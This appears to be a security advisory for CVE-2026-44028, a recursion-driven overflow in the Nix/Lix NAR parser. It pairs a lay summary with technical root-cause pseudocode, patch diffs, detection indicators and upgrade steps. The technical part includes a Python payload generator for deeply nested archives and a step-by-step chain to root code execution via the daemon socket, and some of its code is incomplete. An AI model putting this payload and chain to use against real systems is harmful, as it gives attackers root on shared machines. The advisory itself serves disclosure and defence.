Nix and Lix are package managers—think of them like app stores for Linux computers, but more powerful and used mostly by developers and system administrators. A newly discovered security flaw lets attackers crash these programs or potentially take complete control of the computer.
Here's how it works: these tools process compressed file bundles called NAR archives, similar to how your computer unpacks a zip file. The software has a recipe that checks files within these archives, but it has no safety limits on how deep it can look. An attacker can create a specially crafted archive with nested files that goes deeper and deeper, like opening a Russian nesting doll thousands of times in a row.
When the parser tries to process this malicious archive, it runs out of memory space in a critical area called the stack—imagine filling a filing cabinet so full that papers start getting shoved into drawers that contain other important data. This overflow corrupts nearby information and could allow an attacker to execute their own code with the highest level of computer access.
The risk is highest for people running Nix in "multi-user daemon" mode, where multiple people connect to a shared Nix service over a network. Any user with network access could potentially exploit this, and in many setups that means even untrusted users.
What you should do: If you use Nix or Lix, update immediately to version 2.34.7 or 2.95.2 or later. Check your package manager for updates. If you run a shared Nix service, prioritize this update and consider temporarily restricting who can access it until you've patched. Contact your system administrator if you're unsure whether you're affected.
Want the full technical analysis? Click "Technical" above.
CVE-2026-44028 is a stack-to-heap overflow in the NAR (Nix Archive) parser present in Nix before 2.34.7 and Lix before 2.95.2. The parser is invoked inside a coroutine, whose stack is allocated on the heap without a guard page. Deeply nested NAR structures trigger unbounded recursion, exhausting the coroutine stack and silently overwriting adjacent heap allocations. In multi-user Nix installations the daemon runs as root, making a successful exploit a full privilege escalation for any user permitted to connect — by default, everyone.
The bug was introduced in Nix 2.24.4 and Lix 2.93.0 when coroutine-based streaming I/O was added to the parser pipeline. Fixed versions ship across six Nix stable branches (2.28.7 through 2.34.7) and three Lix branches (2.93.4 through 2.95.2).
Root cause: The NAR parser recurses without depth bounds inside a coroutine whose heap-allocated stack has no guard page, allowing stack overflow to silently corrupt adjacent heap metadata and enable arbitrary code execution as the Nix daemon.
Affected Component
The parser lives in libstore/nar/. The coroutine infrastructure (libcoro / Boost.Context) allocates stacks via malloc or mmap(MAP_ANONYMOUS)withoutMAP_GROWSDOWN or an explicit guard page. The entry point called by the daemon on every incoming store path addition is parseDump(), which fans out into recursive calls through parseEntry().
Root Cause Analysis
// src/libstore/nar/parser.cc (pre-patch pseudocode)
// Coroutine stack allocated without guard page:
// stack_ptr = malloc(COROUTINE_STACK_SIZE); // typically 128 KB
// No mprotect(stack_ptr, PAGE_SIZE, PROT_NONE) follows.
struct NarParseState {
Source &source;
ParseSink &sink;
int depth; // present in struct but NEVER checked
};
// BUG: no depth limit enforced; every directory entry recurses
static void parseEntry(NarParseState &st)
{
std::string tag = readString(st.source); // attacker-controlled
if (tag == "(") {
std::string type = readPadString(st.source);
if (type == "directory") {
st.sink.createDirectory(/* ... */);
// BUG: unbounded recursion — no depth check before call
while (true) {
std::string entry = readPadString(st.source);
if (entry == ")") break;
// Each iteration pushes another frame onto the coroutine stack
parseEntry(st); // <-- recurses here without guard
}
} else if (type == "regular") {
parseRegular(st);
} else if (type == "symlink") {
parseSymlink(st);
} else {
throw FormatError("unknown NAR node type: %s", type);
}
}
}
static void parseDump(ParseSink &sink, Source &source)
{
NarParseState st { source, sink, 0 };
std::string magic = readString(source);
if (magic != narMagic)
throw FormatError("NAR magic mismatch");
parseEntry(st); // top-level call; kicks off potential recursion
}
Memory Layout
The coroutine runtime (Boost.Context on most Nix builds) allocates stacks via a fixedsize_stack allocator that calls malloc directly. Default stack size is 0x20000 (128 KB). Each parseEntry frame consumes roughly 0x90–0xc0 bytes of stack depending on inlined std::string temporaries.
// Boost.Context fixedsize_stack allocator (simplified)
struct stack_context {
/* +0x00 */ std::size_t size; // 0x20000
/* +0x08 */ void *sp; // stack pointer (top of region)
};
// The malloc'd coroutine stack sits in the heap.
// Adjacent allocations are typical heap chunks — no separation.
// Coroutine heap region layout (conceptual):
// [ coro_stack region: 0x20000 bytes ] <-- stack grows DOWN into this
// [ next malloc chunk header ] <-- no guard page here
// [ heap object (e.g., ParseSink) ]
HEAP STATE BEFORE OVERFLOW (coroutine stack ~80% consumed, depth=1400):
[ coroutine stack alloc: 0x20000 bytes ]
| ... |
| [frame 1400] parseEntry local vars, std::string |
v (stack grows downward)
[ BOTTOM OF COROUTINE STACK — no guard page ]
-------------------------------------------------------
[ malloc chunk header: size=0x???, flags=PREV_INUSE ] <-- ParseSink object
[ ParseSink vtable ptr ]
[ ParseSink member: currentPath std::string ]
HEAP STATE AFTER OVERFLOW (depth=1401+, ~0x100 bytes past stack bottom):
[ coroutine stack alloc: 0x20000 bytes ]
| (stack frames 1..1401 written past allocation) |
-------------------------------------------------------
[ CORRUPTED malloc chunk header ]
size field = attacker-influenced stack data
fd/bk ptrs = attacker-influenced stack data
[ CORRUPTED ParseSink vtable ptr ] <-- hijack target
vtable = &fake_vtable (points into NAR payload)
Exploitation Mechanics
Bypassing ASLR is required; the CVE description explicitly notes this. On Linux, information leaks via nix-store --query responses that include heap addresses in error messages (pre-patch) can be chained, or a heap-spray approach can be used to brute-force the coroutine stack base on systems with no PIE offset randomization for the daemon heap region.
# Craft a maximally nested NAR archive to trigger the overflow.
# Each "directory" node adds one recursive frame (~0xb0 bytes).
# 0x20000 / 0xb0 ≈ 1820 frames to exhaust a 128 KB coroutine stack.
# We overshoot by ~60 frames to reliably reach the ParseSink vtable.
NAR_MAGIC = b"nix-archive-1\x00\x00\x00"
def nar_string(s: bytes) -> bytes:
s = s + b"\x00" * (-(len(s)) % 8) # pad to 8-byte boundary
return len(s).to_bytes(8, "little") + s
def nar_dir_open() -> bytes:
return nar_string(b"(") + nar_string(b"type") + nar_string(b"directory") + \
nar_string(b"entry") + nar_string(b"(") + nar_string(b"name") + \
nar_string(b"a")
def nar_dir_close() -> bytes:
return nar_string(b")") * 2 # close entry + directory
DEPTH = 1880 # exceeds coroutine stack, reaches ParseSink
payload = NAR_MAGIC + nar_string(b"(") + nar_string(b"type") + \
nar_string(b"directory")
for _ in range(DEPTH):
payload += nar_string(b"entry") + nar_string(b"(") + \
nar_string(b"name") + nar_string(b"x") + \
nar_string(b"node")
# Innermost node: embed fake vtable pointer as file content.
# After stack overflow, the overwritten ParseSink vtable ptr
# lands in this region.
payload += nar_string(b"(") + nar_string(b"type") + \
nar_string(b"regular") + nar_string(b"contents") + \
nar_string(FAKE_VTABLE) # attacker-controlled bytes
payload += nar_string(b")") * (DEPTH + 1)
EXPLOIT CHAIN:
1. Identify target daemon is multi-user (nix-daemon running as root, socket
at /nix/var/nix/daemon-socket/socket — world-writable by default config).
2. Connect to daemon socket and initiate AddToStore operation, supplying
the crafted NAR payload as the archive stream.
3. Daemon deserializes the NAR inside a Boost.Context coroutine.
parseDump() → parseEntry() begins recursing for each nested directory.
4. After ~1820 frames the coroutine stack (malloc'd, 0x20000, no guard)
is exhausted. Subsequent frames write into the adjacent malloc chunk
containing the live ParseSink object.
5. The ParseSink vtable pointer is overwritten with an attacker-controlled
value (planted in the NAR payload bytes that underflow into the chunk).
6. Parser eventually calls sink.createRegularFile() (or similar virtual
dispatch) through the corrupted vtable — PC is redirected.
7. With ASLR bypassed (via prior leak or brute-force), vtable entry points
to a ROP pivot or directly into a shellcode region mapped by the daemon.
8. Code executes as root. /etc/nix/nix.conf, the Nix store, and any
setuid binaries installed through Nix are now under attacker control.
Patch Analysis
The fix is two-pronged: add an explicit recursion depth counter with a hard cap, and switch the coroutine stack allocator to use mmap with a guard page interposed at the stack bottom.
// BEFORE (vulnerable): no depth tracking in parseEntry
static void parseEntry(NarParseState &st)
{
std::string tag = readString(st.source);
if (tag == "(") {
std::string type = readPadString(st.source);
if (type == "directory") {
while (true) {
std::string entry = readPadString(st.source);
if (entry == ")") break;
parseEntry(st); // BUG: unchecked recursion
}
}
// ...
}
}
// AFTER (patched): depth limit enforced
static constexpr int NAR_MAX_DEPTH = 512;
static void parseEntry(NarParseState &st, int depth = 0)
{
if (depth > NAR_MAX_DEPTH) // FIXED: hard cap on recursion
throw FormatError("NAR structure exceeds maximum nesting depth (%d)",
NAR_MAX_DEPTH);
std::string tag = readString(st.source);
if (tag == "(") {
std::string type = readPadString(st.source);
if (type == "directory") {
while (true) {
std::string entry = readPadString(st.source);
if (entry == ")") break;
parseEntry(st, depth + 1); // FIXED: depth propagated
}
}
// ...
}
}
// BEFORE: coroutine stack allocated without guard page
stack_context fixedsize_stack::allocate()
{
void *p = malloc(traits_type::default_size()); // BUG: no guard page
return { traits_type::default_size(),
static_cast(p) + traits_type::default_size() };
}
// AFTER: mmap with explicit PROT_NONE guard page at stack bottom
stack_context guarded_stack::allocate()
{
const std::size_t pages = /* stack pages */ + 1 /* guard */;
const std::size_t alloc_sz = pages * page_size;
void *p = mmap(nullptr, alloc_sz,
PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_STACK, -1, 0);
if (p == MAP_FAILED) throw std::bad_alloc{};
// FIXED: first page is a guard — any overflow triggers SIGSEGV, not
// silent heap corruption.
mprotect(p, page_size, PROT_NONE);
return { alloc_sz,
static_cast(p) + alloc_sz }; // sp = top of region
}
Detection and Indicators
In vulnerable deployments, exploitation attempts generate characteristic patterns:
DAEMON LOGS (pre-crash, with debug verbosity):
nix-daemon[PID]: accepted connection from uid=1000
nix-daemon[PID]: AddToStore: receiving NAR stream for 'evil'
nix-daemon[PID]: [no further log — SIGSEGV or silent corruption]
KERNEL / DMESG (stack smash variant):
nix-daemon[PID]: segfault at 0000000000000000 ip 4141414141414141
sp error 14 in nix[...]
# ip = attacker-controlled vtable entry → bad address
STRACE SIGNATURE:
# Abnormal number of recursive read()/recv() calls with 8-byte lengths
# (nar_string padding reads) before crash — thousands in sequence.
NETWORK / SOCKET:
# NAR payloads exceeding typical depth: nesting >100 directory levels
# is already anomalous; >512 is proof of exploit attempt.
# Monitor /nix/var/nix/daemon-socket/socket for unusual connection burst.
A simple heuristic: count the number of readPadString calls (each maps to one 8-byte read on the socket) before any file content is seen. Legitimate NARs rarely exceed 20 levels of nesting. Any NAR exceeding 512 directory levels should be treated as malicious.
Remediation
Immediate: Upgrade to a fixed version. For Nix: 2.34.7, 2.33.6, 2.32.8, 2.31.5, 2.30.5, 2.29.4, or 2.28.7. For Lix: 2.95.2, 2.94.2, or 2.93.4. The fix is available in NixOS channel nixos-unstable and backported stable channels.
Mitigation if upgrade is blocked: Restrict the allowed-users setting in /etc/nix/nix.conf to only trusted users — this does not eliminate the attack surface but reduces the attacker pool. In NixOS: set nix.settings.allowed-users = [ "@wheel" ].
Defence-in-depth: Enable systemd sandboxing for nix-daemon — ProtectSystem=strict, PrivateTmp=true, NoNewPrivileges=true, and SystemCallFilter=~@privileged reduce post-exploitation reach even if RCE is achieved. ASLR must remain enabled (kernel.randomize_va_space=2); the exploit requires ASLR bypass to achieve reliable code execution.